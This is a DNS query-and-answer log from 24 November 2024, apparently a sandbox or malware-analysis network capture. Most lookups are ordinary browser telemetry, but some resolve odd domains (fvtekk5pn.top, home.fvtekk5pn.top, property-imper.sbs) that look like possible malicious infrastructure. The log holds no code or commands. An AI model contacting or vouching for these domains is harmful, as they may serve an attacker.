Nov 24, 2024 10:24:59.670515060 CET	192.168.2.5	1.1.1.1	0x503c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:00.199980021 CET	192.168.2.5	1.1.1.1	0x201d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:00.346304893 CET	192.168.2.5	1.1.1.1	0x16ca	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:25:03.196090937 CET	192.168.2.5	1.1.1.1	0xb294	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.196564913 CET	192.168.2.5	1.1.1.1	0x134	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.350754023 CET	192.168.2.5	1.1.1.1	0x8123	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.361129045 CET	192.168.2.5	1.1.1.1	0xe673	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.598361969 CET	192.168.2.5	1.1.1.1	0xe1a8	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 24, 2024 10:25:03.598771095 CET	192.168.2.5	1.1.1.1	0x3ea	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:25:05.317653894 CET	192.168.2.5	1.1.1.1	0x3680	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:05.437334061 CET	192.168.2.5	1.1.1.1	0x9f9a	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:05.457031012 CET	192.168.2.5	1.1.1.1	0x5a16	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:05.578532934 CET	192.168.2.5	1.1.1.1	0x9cbc	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:05.595846891 CET	192.168.2.5	1.1.1.1	0xc5b6	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 10:25:05.720505953 CET	192.168.2.5	1.1.1.1	0x73c7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:25:08.655332088 CET	192.168.2.5	1.1.1.1	0xa127	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:08.655472994 CET	192.168.2.5	1.1.1.1	0xaa54	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:09.856982946 CET	192.168.2.5	1.1.1.1	0x77fa	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:09.859639883 CET	192.168.2.5	1.1.1.1	0xb4ee	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:10.000546932 CET	192.168.2.5	1.1.1.1	0x9279	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:10.225342989 CET	192.168.2.5	1.1.1.1	0x3593	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:25:11.122699022 CET	192.168.2.5	1.1.1.1	0x4146	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:11.122921944 CET	192.168.2.5	1.1.1.1	0x36f7	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 10:25:12.950412989 CET	192.168.2.5	1.1.1.1	0x1f26	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:12.950412989 CET	192.168.2.5	1.1.1.1	0x9e58	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:12.950788021 CET	192.168.2.5	1.1.1.1	0x9a7c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:12.950788021 CET	192.168.2.5	1.1.1.1	0x135f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:12.970638990 CET	192.168.2.5	1.1.1.1	0xe8ab	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:12.971213102 CET	192.168.2.5	1.1.1.1	0x8cbc	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:14.005187988 CET	192.168.2.5	1.1.1.1	0xb41f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.005573988 CET	192.168.2.5	1.1.1.1	0x3d04	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:14.038494110 CET	192.168.2.5	1.1.1.1	0xfccb	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.038672924 CET	192.168.2.5	1.1.1.1	0x9dcd	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:14.143943071 CET	192.168.2.5	1.1.1.1	0xdede	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.144079924 CET	192.168.2.5	1.1.1.1	0x17e1	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:14.321811914 CET	192.168.2.5	1.1.1.1	0xfeca	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.321996927 CET	192.168.2.5	1.1.1.1	0xaaac	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:14.327749968 CET	192.168.2.5	1.1.1.1	0x6d16	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.328063011 CET	192.168.2.5	1.1.1.1	0xb9c6	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 24, 2024 10:25:22.106493950 CET	192.168.2.5	1.1.1.1	0xbdcc	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:22.106590033 CET	192.168.2.5	1.1.1.1	0x6b2d	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 10:25:28.318615913 CET	192.168.2.5	1.1.1.1	0x5b1c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:25:28.431891918 CET	192.168.2.5	1.1.1.1	0x4287	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 10:25:28.490232944 CET	192.168.2.5	1.1.1.1	0xeb9a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:25:28.542540073 CET	192.168.2.5	1.1.1.1	0x89a2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:25:29.508157015 CET	192.168.2.5	1.1.1.1	0xf55a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:00.312165022 CET	192.168.2.5	1.1.1.1	0x13eb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:00.312268972 CET	192.168.2.5	1.1.1.1	0xeb77	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 10:26:03.123547077 CET	192.168.2.5	1.1.1.1	0x64a9	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:03.123724937 CET	192.168.2.5	1.1.1.1	0xe94d	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 24, 2024 10:26:10.587296009 CET	192.168.2.5	1.1.1.1	0x9a3f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:26:10.778836012 CET	192.168.2.5	1.1.1.1	0xdb6a	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:10.790546894 CET	192.168.2.5	1.1.1.1	0x9a3f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:26:10.801071882 CET	192.168.2.5	1.1.1.1	0xf40c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:10.899490118 CET	192.168.2.5	1.1.1.1	0x8224	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 10:26:10.932574034 CET	192.168.2.5	1.1.1.1	0xdfbf	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:11.007953882 CET	192.168.2.5	1.1.1.1	0xbab2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:26:11.104511023 CET	192.168.2.5	1.1.1.1	0x81c6	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 24, 2024 10:26:11.168931007 CET	192.168.2.5	1.1.1.1	0x9e9b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:11.508393049 CET	192.168.2.5	1.1.1.1	0x1d4f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:26:12.282088995 CET	192.168.2.5	1.1.1.1	0x97bd	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:41.140320063 CET	192.168.2.5	1.1.1.1	0x7e52	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 24, 2024 10:26:56.232728004 CET	192.168.2.5	1.1.1.1	0xb589	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:56.424722910 CET	192.168.2.5	1.1.1.1	0xb589	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:28:59.520333052 CET	192.168.2.5	1.1.1.1	0xfff7	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:29:14.587258101 CET	192.168.2.5	1.1.1.1	0x3eb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:29:17.219922066 CET	192.168.2.5	1.1.1.1	0x654c	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:29:17.220130920 CET	192.168.2.5	1.1.1.1	0xe82c	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 10:31:10.878026962 CET	192.168.2.5	1.1.1.1	0x8f44	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:31:11.019937992 CET	192.168.2.5	1.1.1.1	0x9b64	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 24, 2024 10:31:12.128206968 CET	192.168.2.5	1.1.1.1	0x2e9d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 10:24:22.352283955 CET	1.1.1.1	192.168.2.5	0x65f7	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:35.893676996 CET	1.1.1.1	192.168.2.5	0x9df1	No error (0)	property-imper.sbs		104.21.33.116	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:35.893676996 CET	1.1.1.1	192.168.2.5	0x9df1	No error (0)	property-imper.sbs		172.67.162.84	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:48.325187922 CET	1.1.1.1	192.168.2.5	0xb577	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:51.468921900 CET	1.1.1.1	192.168.2.5	0x6316	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:56.537900925 CET	1.1.1.1	192.168.2.5	0x8178	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:56.538520098 CET	1.1.1.1	192.168.2.5	0x359b	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 10:24:59.806901932 CET	1.1.1.1	192.168.2.5	0xfc31	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:24:59.807404995 CET	1.1.1.1	192.168.2.5	0x503c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 10:25:00.169653893 CET	1.1.1.1	192.168.2.5	0x8071	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:00.336893082 CET	1.1.1.1	192.168.2.5	0x201d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.333858013 CET	1.1.1.1	192.168.2.5	0xb294	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.336195946 CET	1.1.1.1	192.168.2.5	0x134	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:03.336195946 CET	1.1.1.1	192.168.2.5	0x134	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.566991091 CET	1.1.1.1	192.168.2.5	0x8123	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.567003012 CET	1.1.1.1	192.168.2.5	0xe673	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:03.736726999 CET	1.1.1.1	192.168.2.5	0xe1a8	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 24, 2024 10:25:03.744211912 CET	1.1.1.1	192.168.2.5	0x3ea	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 24, 2024 10:25:05.455049992 CET	1.1.1.1	192.168.2.5	0x3680	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:05.575776100 CET	1.1.1.1	192.168.2.5	0x9f9a	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:05.575776100 CET	1.1.1.1	192.168.2.5	0x9f9a	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:05.595269918 CET	1.1.1.1	192.168.2.5	0x5a16	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:05.719763041 CET	1.1.1.1	192.168.2.5	0x9cbc	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:07.534903049 CET	1.1.1.1	192.168.2.5	0xc3e3	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:07.534903049 CET	1.1.1.1	192.168.2.5	0xc3e3	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:08.792161942 CET	1.1.1.1	192.168.2.5	0xaa54	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:08.792714119 CET	1.1.1.1	192.168.2.5	0xa127	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:09.196026087 CET	1.1.1.1	192.168.2.5	0x7edd	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:09.196026087 CET	1.1.1.1	192.168.2.5	0x7edd	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:09.290339947 CET	1.1.1.1	192.168.2.5	0xdc15	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:09.996356964 CET	1.1.1.1	192.168.2.5	0xb4ee	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:10.137603998 CET	1.1.1.1	192.168.2.5	0x9279	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:10.137603998 CET	1.1.1.1	192.168.2.5	0x9279	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:10.217772007 CET	1.1.1.1	192.168.2.5	0x77fa	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:11.260013103 CET	1.1.1.1	192.168.2.5	0x36f7	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:11.260308027 CET	1.1.1.1	192.168.2.5	0x4146	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:13.087296009 CET	1.1.1.1	192.168.2.5	0x9e58	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 10:25:13.087302923 CET	1.1.1.1	192.168.2.5	0x1f26	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:13.087302923 CET	1.1.1.1	192.168.2.5	0x1f26	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:13.087357044 CET	1.1.1.1	192.168.2.5	0x9a7c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:13.087357044 CET	1.1.1.1	192.168.2.5	0x9a7c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:13.087877989 CET	1.1.1.1	192.168.2.5	0x135f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 10:25:13.107700109 CET	1.1.1.1	192.168.2.5	0x8cbc	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 10:25:13.107912064 CET	1.1.1.1	192.168.2.5	0xe8ab	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:13.107912064 CET	1.1.1.1	192.168.2.5	0xe8ab	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.142211914 CET	1.1.1.1	192.168.2.5	0xb41f	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.142211914 CET	1.1.1.1	192.168.2.5	0xb41f	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.142211914 CET	1.1.1.1	192.168.2.5	0xb41f	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.142211914 CET	1.1.1.1	192.168.2.5	0xb41f	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.175438881 CET	1.1.1.1	192.168.2.5	0xfccb	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:14.178627014 CET	1.1.1.1	192.168.2.5	0x9dcd	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:14.367317915 CET	1.1.1.1	192.168.2.5	0xdede	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:14.381596088 CET	1.1.1.1	192.168.2.5	0x17e1	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:14.458755970 CET	1.1.1.1	192.168.2.5	0xfeca	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:14.458755970 CET	1.1.1.1	192.168.2.5	0xfeca	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:14.463557005 CET	1.1.1.1	192.168.2.5	0xaaac	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:14.465161085 CET	1.1.1.1	192.168.2.5	0x6d16	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:14.465256929 CET	1.1.1.1	192.168.2.5	0xb9c6	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:19.395442963 CET	1.1.1.1	192.168.2.5	0x22f8	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:19.395442963 CET	1.1.1.1	192.168.2.5	0x22f8	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:19.985335112 CET	1.1.1.1	192.168.2.5	0x7836	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:19.985335112 CET	1.1.1.1	192.168.2.5	0x7836	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:22.244704008 CET	1.1.1.1	192.168.2.5	0xbdcc	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:25:29.646548986 CET	1.1.1.1	192.168.2.5	0xf55a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:25:29.646548986 CET	1.1.1.1	192.168.2.5	0xf55a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:00.449301004 CET	1.1.1.1	192.168.2.5	0xeb77	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 10:26:00.449342966 CET	1.1.1.1	192.168.2.5	0x13eb	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:03.260063887 CET	1.1.1.1	192.168.2.5	0x2e6b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:03.261316061 CET	1.1.1.1	192.168.2.5	0x64a9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:03.261316061 CET	1.1.1.1	192.168.2.5	0x64a9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:03.261316061 CET	1.1.1.1	192.168.2.5	0x64a9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:03.261316061 CET	1.1.1.1	192.168.2.5	0x64a9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:03.261637926 CET	1.1.1.1	192.168.2.5	0xe94d	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:03.261637926 CET	1.1.1.1	192.168.2.5	0xe94d	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:03.570606947 CET	1.1.1.1	192.168.2.5	0xd13d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:03.570606947 CET	1.1.1.1	192.168.2.5	0xd13d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:03.570606947 CET	1.1.1.1	192.168.2.5	0xd13d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:10.916006088 CET	1.1.1.1	192.168.2.5	0xdb6a	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:10.939263105 CET	1.1.1.1	192.168.2.5	0xf40c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:10.939263105 CET	1.1.1.1	192.168.2.5	0xf40c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:11.069312096 CET	1.1.1.1	192.168.2.5	0xdfbf	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:11.159399033 CET	1.1.1.1	192.168.2.5	0x53c1	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:11.159399033 CET	1.1.1.1	192.168.2.5	0x53c1	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:11.249412060 CET	1.1.1.1	192.168.2.5	0x81c6	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 24, 2024 10:26:11.423046112 CET	1.1.1.1	192.168.2.5	0x9e9b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:11.559963942 CET	1.1.1.1	192.168.2.5	0x687e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:11.559963942 CET	1.1.1.1	192.168.2.5	0x687e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:12.420619965 CET	1.1.1.1	192.168.2.5	0x97bd	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:12.420619965 CET	1.1.1.1	192.168.2.5	0x97bd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:41.136920929 CET	1.1.1.1	192.168.2.5	0x9538	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:41.136920929 CET	1.1.1.1	192.168.2.5	0x9538	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 24, 2024 10:26:41.264419079 CET	1.1.1.1	192.168.2.5	0x9538	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 10:26:41.264419079 CET	1.1.1.1	192.168.2.5	0x9538	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
